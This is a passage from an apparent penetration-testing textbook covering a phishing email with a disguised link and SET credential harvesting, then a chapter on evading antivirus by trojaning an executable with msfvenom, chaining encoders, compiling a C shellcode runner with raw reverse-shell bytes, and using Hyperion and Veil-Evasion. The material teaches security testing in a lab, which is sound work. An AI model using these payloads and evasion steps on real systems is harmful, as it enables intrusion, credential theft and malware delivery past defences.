email format, we can use HTML tags in our email. For example, this code
creates a link for the recipient to click: <a href="192.168.20.9">http://www
.bulbsecurity.com/webportal</a>. The text displayed indicates that the link
goes to http://www.bulbsecurity.com/webportal, but the link will really open
192.168.20.9 in the browser. We control the website at 192.168.20.9, so we
can put a browser exploit or a phishing attack there. Add some text to the
email to convince users to click the included link. This is where you can be
particularly creative. For example, in Listing 11-17, we inform the users that
a new company portal has been added, and they should log in with their
domain credentials to check it out. On a pentest, a better way to approach
this would be to register a variation of the company’s domain name
(bulb-security.com) or perhaps use a slight misspelling (bulbsecurty.com)
that is likely to go unnoticed by users and host your social-engineering
site there.
After you finish the email, press ctrl-C to send it. The email will be
sent to each address in the emails.txt file we entered earlier.
Recipients will see this email:
All,
We are adding a new company web portal. Please go to http://
www.bulbsecurity.com/webportal and use your Windows domain
credentials to log in.
Bulb Security Administrator
While a security-savvy user should know better than to click links in
emails that are not from a trusted source, and would know how to verify
where a link points to before clicking it, not all users are that savvy, and
even the savvy ones aren’t always paying attention. In fact, I have never
launched a social-engineering test that failed.
254 Chapter 11
Multipronged Attacks
Let’s combine our previous two attacks (credential harvesting and phishing
emails) to trick employees into submitting their credentials to a pentestercontrolled site. We’ll use an email attack together with a web attack to send
users to our attacker-controlled site by tricking them into clicking links in
the emails.
But first we need to change an option in SET’s configuration file. In
Kali this file is at /usr/share/set/config/set_config. The option to change is
WEB_ATTACK_EMAIL, which by default is set to OFF. Open the config file in a text
editor and change this option to ON.
### Set to ON if you want to use Email in conjunction with webattack
WEBATTACK_EMAIL=ON
Now try running the Credential Harvesting attack again. Instead of
using a template, you can clone one of your client’s web pages if they have
a login site, such as webmail or an employee portal. If the client uses a web
page and not a login site, use the Custom Import option to build your own page
that looks like the employee’s web page with a login form added.
Summary
In this chapter we’ve looked at only a couple of social-engineering attacks
that we can automate with SET. The scripts for your attacks will change
based on your clients’ needs. Some clients may have a specific attack scenario in mind, or you may find the need to run multiple attacks at once. For
instance, you may create a multipronged attack where you harvest credentials and the malicious website runs a malicious Java applet. In addition to
the web-based attacks and malicious files we looked at here, SET can create other attacks, such as USB sticks, QR codes, and rogue wireless access
points.
Social Engineering 255
12
B yp a s s i n g A n t i v i r u s
App l i c a t i o n s
Your pentesting clients will most likely be running
some sort of antivirus solution. So far in this book
we’ve avoided having any of our malicious executables
deleted by antivirus applications, but antivirus program
avoidance is a constantly changing field. Typically you
will be more likely to avoid detection by using a memory-corruption exploit
and loading your payload directly into memory—that is, by never touching
the disk. That said, with the attack landscape shifting to emphasize clientside and social-engineering attacks, it may not always be possible to avoid
writing your payload to disk. In this chapter we’ll look at a few techniques
for obscuring our malware to try to avoid detection when the payload is
written to the disk.
Trojans
In Chapter 4, we created a standalone malicious executable that runs a
Metasploit payload. Though we may be able to use social engineering to
trick a user into downloading and running our malicious file, the lack of
any functionality other than our executable’s payload could tip off users
that something is amiss. We’d be much more likely to evade detection if we
could hide our payload inside of some legitimate program that would run
normally, with our payload running in the background. Such a program
is called a trojan, after the legendary wooden horse that ended the Trojan
War. The horse appeared to be an innocuous offering to the gods and was
brought inside the previously impenetrable walled city of Troy, with enemy
soldiers hiding inside, ready to attack.
We encountered a trojan in Chapter 8: The Vsftpd server on our Ubuntu
target had a backdoor that could be triggered at login by entering a smiley
face as part of the username. Attackers compromised the source code repositories for Vsftpd and added additional trojan functionality to the program.
Anyone who downloaded Vsftpd from the official repositories between the
initial compromise and detection ended up with a trojaned version.
Msfvenom
Although reverse-engineering binaries or gaining access to source code
and manually adding trojan code is beyond the scope of this book, the
Msfvenom tool has some options we can use to embed a Metasploit payload
inside a legitimate binary. Listing 12-1 shows some important options we
have not encountered previously in the text.
[email protected]:~# msfvenom -h
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
-p, --payload
[payload]
Payload to use. Specify a '-' or stdin to
use custom payloads
--snip-u-x, --template
[path]
Specify a custom executable file to use
as a template
Preserve the template behavior and inject
the payload as a new thread
v-k, --keep
--snip-Listing 12-1: Msfvenom help page
In particular, the -x flag u allows us to use an executable file as a
template in which to embed our chosen payload. However, though the
resulting executable will look like the original one, the added payload will
pause the execution of the original, and we shouldn’t expect a user to run
258 Chapter 12
an executable that appears to hang at startup very many times. Luckily,
Msfvenom’s -k flag v will keep the executable template intact and run our
payload in a new thread, allowing the original executable to run normally.
Let’s use the -x and -k flags to build a trojaned Windows executable
that will appear normal to a user but which will send us a Meterpreter session in the background. To do so, we choose the payload with the -p flag
and set the relevant payload options as in Chapter 4. Any legitimate executable will do; you’ll find some useful Windows binaries for pentesting in Kali
Linux at /usr/share/windows-binaries.
To embed our payload inside the radmin.exe binary enter:
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe
Our Msfvenom command specifies the payload to generate with the
-p option. We set the LHOST option to the IP address of Kali, the system to
call back to when the payload runs. We can also set the LPORT option. As
discussed in this section, the -x option selects an executable in which to
embed our payload. The -k option runs the payload in a separate thread.
The -f flag tells Msfvenom to build the payload in the executable format.
Once created, run the trojaned binary on either the Windows XP or
Windows 7 target. The Radmin Viewer program should appear to run
normally (Figure 12-1), but the embedded payload should give us a Meter­
preter session if we set up a handler using the multi/handler module.
Figure 12-1: Trojaned Radmin Viewer executable
Bypassing Antivirus Applications 259
Checking for T roja ns w ith the MD5 H a sh
Our trojaned binary should convince the average user that the program is legitimate. Security-savvy users should verify the integrity of a downloaded file before
running it by checking its MD5 hash against the value published by the vendor,
where available. An MD5 hash is a kind of file fingerprint; if changes are made
to the file, the MD5 hash will change.
Let’s compare the MD5 hashes of the original radmin.exe with our trojaned
version. In Kali Linux, the md5sum program will calculate a file’s MD5 hash. Run
md5sum on both binaries, and you’ll find that the hash values are dramatically
different, as you can see here at u and v.
[email protected]:~# md5sum /usr/share/windows-binaries/radmin.exe
u2d219cc28a406dbfa86c3301e8b93146 /usr/share/windows-binaries/radmin.exe
[email protected]:~# md5sum radmin.exe
v4c2711cc06b6fcd300037e3cbdb3293b radmin.exe
However, the MD5 hashing algorithm is not perfect, and a tampered
binary could have the same MD5 hash as the original file, which is known as
an MD5 collision attack. For this reason, many vendors publish a Secure Hash
Algorithm (SHA) hash as well.
Of course, checking two separate hash values is better than checking one.
The SHA family contains multiple hashing algorithms, and the version used will
vary among vendors. Kali comes with programs for various SHA hashes. For
example, sha512sum calculates the 64-bit block size SHA-2 hash, as shown here.
[email protected]:~# sha512sum /usr/share/windows-binaries/radmin.exe
5a5c6d0c67877310d40d5210ea8d515a43156e0b3e871b16faec192170acf29c9cd4e495d2e03b8d
7ef10541b22ccecd195446c55582f735374fb8df16c94343 /usr/share/windows-binaries/
radmin.exe
[email protected]:~# sha512sum radmin.exe
f9fe3d1ae405cc07cd91c461a1c03155a0cdfeb1d4c0190be1fb350d43b4039906f8abf4db592b060
d5cd15b143c146e834c491e477718bbd6fb9c2e96567e88 radmin.exe
When installing software, be sure to calculate the hash(es) of your downloaded version, and compare it to the value(s) published by the vendor.
How Antivirus Applications Work
Before we try different techniques to get our Metasploit payloads past an
antivirus program, let’s discuss how these programs work. Most antivirus
solutions start by comparing potentially dangerous code to a set of patterns
and rules that make up the antivirus definitions, which match known malicious code. Antivirus definitions are updated regularly as new malware is
identified by each vendor. This sort of identification is called static analysis.
260 Chapter 12
In addition to static analysis against a set of signatures, more advanced
antivirus solutions also test for malicious activity, called dynamic analysis. For
example, a program that tries to replace every file on the hard drive or connects to a known botnet command and control server every 30 seconds is
exhibiting potentially malicious activity and may be flagged.
Note
Some antivirus products, such as Google’s Bouncer, run new apps that are uploaded
to the Google Play store and pass static analysis in an isolated sandbox to try to detect
malicious activity that doesn’t have a known malicious signature.
Microsoft Security Essentials
As we use different methods in this section to bring down our detection
rate, keep in mind that even if you not able to get a 0 percent detection
rate among all antivirus vendors, if you know which antivirus solution
is deployed in your client’s environment, you can focus your efforts on
clearing just that antivirus program. In this chapter, we will try to bypass
Microsoft Security Essentials using various methods.
When we created our Windows 7 target in Chapter 1, we installed
Microsoft Security Essentials, but we didn’t turn on real-time protection to
scan files as they are downloaded or installed. Now let’s turn on this protection to see if we can create an undetectable trojan. Open Microsoft Security
Essentials, select the Settings tab, choose Real-time protection, and check
the box to turn on the service, as shown in Figure 12-2. Click Save changes.
Figure 12-2: Microsoft Security Essentials real-time protection
Bypassing Antivirus Applications 261
As of this writing, even free antivirus solutions like Microsoft Security
Essentials do a good job of catching Metasploit payloads. For a real test, try
installing the trojaned radmin.exe with real-time protection turned on. You
should see a pop-up at the bottom-right corner of the screen, like the one
shown in Figure 12-3. The file is automatically deleted before the user can
run it—that certainly puts a damper on things.
Figure 12-3: Malicious software detected
VirusTotal
One way to see which antivirus solutions will flag a program as malicious is
to upload the file in question to the VirusTotal website (https://www.virustotal
.com/). As of this writing, VirusTotal scans uploaded files with 51 antivirus
programs and reports which ones detect malware. VirusTotal is shown in
Figure 12-4.
Figure 12-4: VirusTotal
To see which antivirus programs detect our trojaned radmin.exe as
currently written, upload the file to VirusTotal and click Scan it!. Because
antivirus definitions are constantly updated, your results will differ, but as
you can see in Fig­ure 12-5, 25 of 51 scanners detected our file as malicious.
(The bottom of the page shows which scanners detected the malware.)
262 Chapter 12
Figure 12-5: Trojaned binary antivirus detection
Note
VirusTotal shares uploaded binaries with antivirus vendors so they can write signatures to match. Antivirus companies use VirusTotal signatures to improve their
detection engines, so anything you upload to the site may be caught by antivirus software just because you uploaded it. To avoid that risk, you can install the antivirus
product on a virtual machine and test your trojans manually against it, as we did in the
previous section.
Getting Past an Antivirus Program
Clearly if we want to get past antivirus solutions, we need to try harder to
hide. Let’s look at some other useful ways to hide our Metasploit payloads
besides simply placing them inside of an executable.
Encoding
Encoders are tools that allow you to avoid characters in an exploit that
would break it. (You’ll learn more about these requirements when we write
our own exploits in Chapters 16 through 19.) At the time of this writing,
Metasploit supports 32 encoders. Encoders mangle the payload and prepend decoding instructions to be executed in order to decode the payload
before it is run. It is a common misperception that Metasploit’s encoders
were designed to help bypass antivirus programs. Some Metasploit encoders create polymorphic code, or mutating code, which ensures that the
encoded payload looks different each time the payload is generated. This
process makes it more difficult for antivirus vendors to create signatures
for the payload, but as we will see, it is not enough to bypass most antivirus
solutions.
Bypassing Antivirus Applications 263
To list all of the encoders available in Msfvenom, use the -l encoders
option, as shown in Listing 12-2.
[email protected]:~# msfvenom -l encoders
Framework Encoders
==================
Name
---cmd/generic_sh
cmd/ifs
--snip—
ux86/shikata_ga_nai
--snip--
Rank
---good
low
Description
----------Generic Shell Variable Substitution Command Encoder
Generic ${IFS} Substitution Command Encoder
excellent
Polymorphic XOR Additive Feedback Encoder
Listing 12-2: Msfvenom encoders
The only encoder with an excellent rank is x86/shikata_ga_nai u.
Shikata Ga Nai is Japanese for “It can’t be helped.” Encoder rankings are
based on the entropy level of the output. With shikata_ga_nai, even the
decoder stub is polymorphic. The nitty-gritty details of how this encoder
works are beyond the scope of this book, but suffice it to say that it mangles
payloads beyond easy recognition.
Tell Msfvenom to use the shikata_ga_nai encoder with the -e flag, as
shown in Listing 12-3. Additionally, for further obfuscation, we’ll run our
payload through an encoder multiple times, encoding the output from the
previous round with the -i flag and specifying the number of encoding
rounds (10 in this case).
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f exe > meterpreterencoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
--snip-[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
Listing 12-3: Creating an encoded executable with Msfvenom
Now upload the resulting binary to VirusTotal. As you can see in Fig­
ure 12-6, 35 of the tested antivirus products detected our payload, even
with the encoding. That’s a higher detection rate than we found when
embedding our payload inside a prebuilt executable. In other words,
shikata_ga_nai alone doesn’t do the trick.
264 Chapter 12
Figure 12-6: VirusTotal results for an encoded binary
To see if we can improve our results, we can try experimenting with
using multiple Metasploit encoders on our payload. For example, we
can combine multiple rounds of shikata_ga_nai with another Metasploit
encoder, x86/bloxor, as shown in Listing 12-4.
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -e x86/shikata_ga_nai -i 10 -f rawu > meterpreterencoded.binv
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
--snip-[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
[email protected]:~# msfvenom -p -w -f exe -a x86x --platform windowsy -e x86/bloxor
-i 2 > meterpretermultiencoded.exe < meterpreterencoded.binz
[*] x86/bloxor succeeded with size 638 (iteration=1)
[*] x86/bloxor succeeded with size 712 (iteration=2)
Listing 12-4: Multiencoding with Msfvenom
This time, we start out with Msfvenom using the windows/meterpreter/
reverse_tcp payload as usual and encode it with shikata_ga_nai, as in the previous example. However, instead of setting the format to .exe, we output in
raw format u. Also, instead of outputting the results to an .exe file as we did
previously, this time we output the raw bytes into a .bin file v.
Bypassing Antivirus Applications 265
Now we take the results of the shikata_ga_nai encoding and encode it
with the x86/bloxor encoder. Our syntax for Msfvenom will differ from what
we are used to. First, we set the payload to null with the option -p - w. And,
because we are not setting a payload, we need to tack on two new options to
tell Msfvenom how to encode our input: -a x86 x to specify the architecture
as 32 bit, and --platform windows y to specify the Windows platform. Finally,
at the end of the Msfvenom command, we use the < symbol to pipe the .bin
file from the previous command as input into Msfvenom z. The resulting
executable will be encoded with shikata_ga_nai and x86/bloxor.
The resulting executable is detected by 33 antivirus programs on
VirusTotal as of this writing—slightly better than shikata_ga_nai by itself.
You may be able to improve your results by experimenting with different
sets of encoders and chaining more than two encoders together, or by combining techniques. For example, what if we both embed our payload in a
binary and encode it with shikata_ga_nai as shown here?
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai
-i 10 -f exe > radminencoded.exe
This gave only a slight improvement: The payload was detected by
21 antivirus programs. And, unfortunately, Microsoft Security Essentials
flagged both executables as malicious, as shown in Figure 12-7. We need to
look beyond Metasploit encoders if we’re going to get past antivirus detection on our Windows 7 target.
Figure 12-7: Microsoft is still flagging this binary as malicious.
Custom Cross Compiling
As the de facto standard for penetration testing, Metasploit gets a fair
amount of attention from antivirus vendors who make detecting the signatures for payloads generated by Msfvenom a priority. When Msfvenom
creates an executable, it uses prebuilt templates that antivirus vendors can
use to build detection signatures.
Perhaps we can improve our ability to bypass antivirus solutions by compiling an executable ourselves using raw shellcode. Let’s start with a simple
266 Chapter 12
C template, as shown in Listing 12-5. (We discussed the basics of C programming in Chapter 3. Review that section if this program doesn’t make
sense to you.) Save this code to a file called custommeterpreter.c.
#include <stdio.h>
unsigned char random[]= u
unsigned char shellcode[]= v
int main(void) w
{
((void (*)())shellcode)();
}
Listing 12-5: Custom executable template
We need to fill in data for the variables random u and shellcode v, which
are both unsigned character arrays. Our hope is that adding some randomness and compiling our own C code will be enough to trick antivirus programs. The random variable will introduce some randomness to the template.
The shellcode variable will hold the raw hexadecimal bytes of the payload we
create with Msfvenom. The main function w runs when our compiled C program starts and executes our shellcode.
Create your payload in Msfvenom as usual, except this time set the format with the -f flag to c, as shown in Listing 12-6. This will create hex bytes
that we can drop into our C file.
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2345 -f c -e x86/shikata_ga_nai -i 5
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
--snip-"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
Listing 12-6: Creating a raw payload in C format
Finally, we need to add some randomness. A good place to find randomness on a Linux system is in the /dev/urandom file. This file is specifically
designed as a pseudorandom number generator; it generates data using
entropy in the Linux system.
But if we just cat out data from /dev/urandom, we’ll get a lot of unprintable characters. To get the proper data for a character array, we’ll use the tr
Linux utility to translate the /dev/urandom data to printable characters. Use
tr -dc A-Z-a-z-0-9, and then pipe the commands into the head command to
output only the first 512 characters from /dev/urandom, as shown here.
[email protected]:~# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512
s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G0no4qjUI
IsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adL
--snip-Bypassing Antivirus Applications 267
Now drop the data from /dev/urandom into the random variable in the
C file. The finished file is shown in Listing 12-7. (Of course, your randomness and encoded payload will differ.) Be sure to surround the string with
quotes and use a semicolon (;) at the end.
#include <stdio.h>
unsigned char random[]= "s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G
0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adLqB-3X7MCSL9SuqlChqT6zQkoZNvi9YEWq4ec8
-ajdsJW7s-yZOKHQXMTY0iuawscx57e7Xds15GA6rGObF4R6oILRwCwJnEa-4vrtCMYnZiBytqtrrHkTeNohU4gXcVIem
-lgM-BgMREf24-rcW4zTi-Zkutp7U4djgWNi7k7ULkikDIKK-AQXDp2W3Pug02hGMdP6sxfR0xZZMQFwEF-apQwMlog4Trf
5RTHFtrQP8yismYtKby15f9oTmjauKxTQoJzJD96sA-7PMAGswqRjCQ3htuWTSCPleODITY3Xyb1oPD5wt-G1oWvavrpewe
LERRN5ZJiPEpEPRTI62OB9mIsxex3omyj10bEha43vkerbN0CpTyernsK1csdLmHRyca";
unsigned char shellcode[]= "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x0a\x00\x01\x09\x68\x02\x00\x09\x29\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
int main(void)
{
((void (*)())shellcode)();
}
Listing 12-7: Finished custom C file
Now we need to compile the C program. We can’t use the built-in
GCC program because it would compile our program to run on Linux
systems, and we want to run it on a 32-bit Windows system. Instead, we’ll
use the Mingw32 cross compiler from the Kali Linux repositories , which
we installed in Chapter 1. If you haven’t already installed it, install it with
apt-get install mingw32, and then compile your custom C file with i586-mingw32msvc-gcc. (Other than the program name, the syntax for using the cross
compiler is the same as for Linux’s built-in GCC, discussed in Chapter 3.)
268 Chapter 12
[email protected]:~# i586-mingw32msvc-gcc -o custommeterpreter.exe custommeterpreter.c
Now upload the resulting executable to VirusTotal. As of this writing,
18 antivirus products detected the malicious file. That’s an improvement,
but Microsoft Security Essentials is still catching our file.
We still need to work a little harder to get a malicious executable onto
our Windows 7 system. (You could have better success with this technique
with another cross compiler from another repository.)
Encrypting Executables with Hyperion
Another way to obfuscate our payload is to encrypt it. One executable
encrypter is Hyperion, which uses Advanced Execution Standard (AES)
encryption, a current industry standard. After encrypting the executable,
Hyperion throws away the encryption keys. When the executable runs,
it brute-forces the encryption key to decrypt itself back to the original
executable.
If you have any background in cryptography, this process should raise
a lot of red flags. AES is currently considered a secure encryption standard.
If the executable doesn’t have access to the encryption key, it should not
be able to brute-force the key in any reasonable amount of time, certainly
not fast enough for our program to run in the time window of our pentest.
What’s going on?
As it turns out, Hyperion greatly reduces the possible keyspace for the
encryption key, which means that binaries encrypted with it shouldn’t be
considered cryptographically secure. However, because our goal and the
goal of the Hyperion authors is to obfuscate the code to bypass antivirus
detection, the fact that the key can be brute-forced is not a problem.
Let’s start by using Hyperion to encrypt at simple Meterpreter executable
with no additional antivirus avoidance techniques, as shown in Listing 12-8.
(We installed Hyperion in Chapter 1 on page 21).
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f exe >
meterpreter.exe
[email protected]:~# cd Hyperion-1.0/
[email protected]:~/Hyperion-1.0# wine ../hyperion ../meterpreter.exe bypassavhyperion.exeu
Opening ../bypassav.exe
Copied file to memory: 0x117178
--snip-Executing fasm.exe
flat assembler version 1.69.31
5 passes, 0.4 seconds, 92672 bytes.
Listing 12-8: Running Hyperion
Bypassing Antivirus Applications 269
Hyperion was written to run on Windows systems, but we can run it
on Kali Linux with the Wine program, as you can see in Listing 12-8. Be
sure to change into the Hyperion directory created when you unzipped the
source before running hyperion.exe with Wine.
Hyperion takes two arguments: the name of the file to encrypt and
the name of the encrypted output file. Run Hyperion to encrypt the
simple Meterpreter executable as shown at u. The resulting file is in the
Hyperion 1.0 directory, so upload it to VirusTotal from there.
Using just a Meterpreter executable generated with Msfvenom (with
no encoding, custom templates, or anything else) and encrypting it with
Hyperion resulted in 27 antivirus programs in VirusTotal detecting the
malicious behavior. That’s not our lowest detection rate yet, but we have
finally achieved our goal. As shown in Figure 12-8, Microsoft Security
Essentials did not detect any malicious activity!
Figure 12-8: Microsoft Security Essentials does not detect malware.
Sure enough, we can download and run the Hyperion-encrypted
executable on the Windows 7 system with antivirus protection and get a
Meterpreter session. We haven’t achieved a 0 percent detection rate—the
holy grail for antivirus bypass researchers—but we have been able to meet
our pentest goals.
Note
To lower our detection rate even more, try combining Hyperion encryption with other
techniques from this section. For example, using Hyperion with a custom template
dropped my detection number down to 14.
Evading Antivirus with Veil-Evasion
Even though we have successfully reached our goal of bypassing Microsoft
Security Essentials on Windows 7, the antivirus landscape changes rapidly,
so it is worthwhile to keep abreast of the latest tools and techniques. VeilEvasion is a Python framework that automates creating antivirus-evading
payloads, giving users the choice of multiple techniques. We covered installing Veil-Evasion on Kali Linux in Chapter 1 on page 21; refer back if you
need a refresher.
Note
270 Chapter 12
As updates are made to Veil-Evasion, your version may be different from what is
shown here.
Python Shellcode Injection with Windows APIs
Previously we looked at using a custom C template to compile and execute
shellcode. We can do something similar with Python’s Ctypes library, which
gives us access to Windows API function calls and can create C-compatible
data types. We can use Ctypes to access the Windows API VirtualAlloc, which
creates a new executable memory region for the shellcode and locks the
memory region in physical memory, to avoid a page fault as shellcode is copied in and executed. RtlMoveMemory is used to copy the shellcode bytes into
the memory region created by VirtualAlloc. The CreateThread API creates a
new thread to run the shellcode, and finally, WaitForSingleObject waits until
the created thread is finished and our shellcode has finished running.
These steps collectively are referred to as the VirtualAlloc injection
method. This method, of course, would give us a Python script rather than
a Windows executable, but you can use multiple tools to convert a Python
script into a stand-alone executable.
Creating Encrypted Python-Generated Executables with Veil-Evasion
One of the methods implemented in Veil-Evasion uses the Python injection technique described earlier. To provide further antivirus protection,
Veil-Evasion can use encryption. For our example, we will use Python
VirtualAlloc injection combined with AES encryption, as we did in the
Hyperion example earlier in this chapter.
To start Veil-Evasion, change directories to Veil-Evasion-master and run
./Veil-Evasion.py. You should be presented with a menu-based prompt similar
to those we saw in SET in the previous chapter, as shown in List­ing 12-9.
[email protected]:~/Veil-Evasion-master# ./Veil-Evasion.py
========================================================================
Veil-Evasion | [Version]: 2.6.0
========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
========================================================================
Main Menu
28 payloads loaded
Available commands:
use
info
list
update
clean
checkvt
exit
use a specific payload
information on a specific payload
list available payloads
update Veil to the latest version
clean out payload folders
check payload hashes vs. VirusTotal
exit Veil
Listing 12-9: Running Veil
Bypassing Antivirus Applications 271
To see all the available payloads in Veil-Evasion, enter list at the
prompt, as shown in Listing 12-10.
[>] Please enter a command: list
Available payloads:
1)
auxiliary/coldwar_wrapper
2)
auxiliary/pyinstaller_wrapper
--snip-22)
u23)
24)
25)
26)
27)
28)
python/meterpreter/rev_tcp
python/shellcode_inject/aes_encrypt
python/shellcode_inject/arc_encrypt
python/shellcode_inject/base64_substitution
python/shellcode_inject/des_encrypt
python/shellcode_inject/flat
python/shellcode_inject/letter_substitution
Listing 12-10: Veil-Evasion payloads
As of this writing, there are 28 ways to create executables implemented in
Veil-Evasion. For this example, choose option 23 u to use the VirtualAlloc
injection method and encrypt it with AES encryption. Once you choose a
method, Veil-Evasion will prompt you to change the method options from the
default, if desired, as shown in Listing 12-11.
[>] Please enter a command: 23
Payload: python/shellcode_inject/aes_encrypt loaded
Required Options:
Name
---ucompile_to_exe
expire_paylo
vinject_method
use_pyherion
Current Value
------------Y
X
Virtual
N
Description
----------Compile to an executable
Optional: Payloads expire after "X" days
Virtual, Void, Heap
Use the pyherion encrypter
Available commands:
set
info
generate
back
exit
set a specific option value
show information about the payload
generate payload
go to the main menu
exit Veil
Listing 12-11: Using Python VirtualAlloc in Veil-Evasion
272 Chapter 12
By default, this payload will compile the Python script into an executable u using VirtualAlloc() as the injection method v. These options are
correct for our example, so enter generate at the prompt. You are then
prompted for details about the shellcode, as shown in Listing 12-12.
[?] Use msfvenom or supply custom shellcode?
1 - msfvenom (default)
2 - Custom
[>] Please enter the number of your choice: 1
[*]
[*]
[>]
[>]
[>]
[>]
Press [enter] for windows/meterpreter/reverse_tcp
Press [tab] to list available payloads
Please enter metasploit payload:
Enter value for 'LHOST', [tab] for local IP: 192.168.20.9
Enter value for 'LPORT': 2345
Enter extra msfvenom options in OPTION=value syntax:
[*] Generating shellcode...
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: meterpreterveil
[?] How would you like to create your payload executable?
1 - Pyinstaller (default)
2 - Py2Exe
[>] Please enter the number of your choice: 1
--snip-[*] Executable written to: /root/veil-output/compiled/meterpreterveil.exe
Language:
python
Payload:
AESEncrypted
Shellcode:
windows/meterpreter/reverse_tcp
Options:
LHOST=192.168.20.9 LPORT=2345
Required Options:
compile_to_exe=Y inject_method=virtual use_pyherion=N
Payload File:
/root/veil-output/source/meterpreterveil.py
Handler File:
/root/veil-output/handlers/meterpreterveil_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
Listing 12-12: Generating the executable in Veil-Evasion
Veil-Evasion prompts you to select either Msfvenom to generate
the shellcode or to provide custom shellcode. For our purposes, choose
Msfvenom. The default payload is windows/meterpreter/reverse_tcp, so press
enter to select it. You should be prompted for the usual options, LHOST and
Bypassing Antivirus Applications 273
LPORT, and for a filename for the generated executable. Finally, Veil-Evasion
offers two Python to executable methods. Choose the default, Pyinstaller,
to have Veil-Evasion generate the malicious executable and save it to the
veil-output/compiled directory.
As of this writing, the resulting executable sails right past Microsoft
Security Essentials on our Windows 7 box. Veil-Evasion notes that you
shouldn’t upload the resulting executable to online scanners, so at the
author’s request we’ll forgo checking this example with VirusTotal.
However, we can install other antivirus solutions besides Microsoft
Security Essentials to see if the executable is flagged.
Note
If you find the Veil-Evasion executables aren’t working, you might need to update
Metasploit with Msfupdate. Since Veil-Evasion is not currently in the Kali Linux
repos, the latest version you pull down when you set up may not match up with how
Msfvenom works in the default Kali 1.0.6 install. Of course, if you update Metasploit
with Msfupdate, other exercises in this book may change, as Metasploit’s functionality changes frequently. Therefore, you may want to save this exercise for a second pass
through the book or use a second Kali Linux image if you don’t want the update to
affect later exercises in the book.
Hiding in Plain Sight
Perhaps the best way to avoid antivirus programs is to avoid traditional payloads altogether. If you are familiar with coding for Windows, you can use
Windows APIs to mimic the functionality of a payload. There is, of course, no
rule that legitimate applications cannot open a TCP connection to another
system and send data—essentially what our windows/meterpreter/reverse_tcp
payload is doing.
You may find that instead of generating the payload with Msfvenom and
attempting to hide it with the methods covered in this chapter, you get even
better results just writing a C program that performs the payload functionality you want. You can even invest in a code-signing certificate to sign your
binary executable, to make it look even more legitimate.
note
Turn Real-time protection in Microsoft Security Essentials back off before moving on
to post exploitation.
Summary
We’ve looked at only a few techniques for bypassing antivirus detection in
this chapter. The topic of bypassing antivirus solutions could take up an
entire book, and by the time it was published, the book would already be
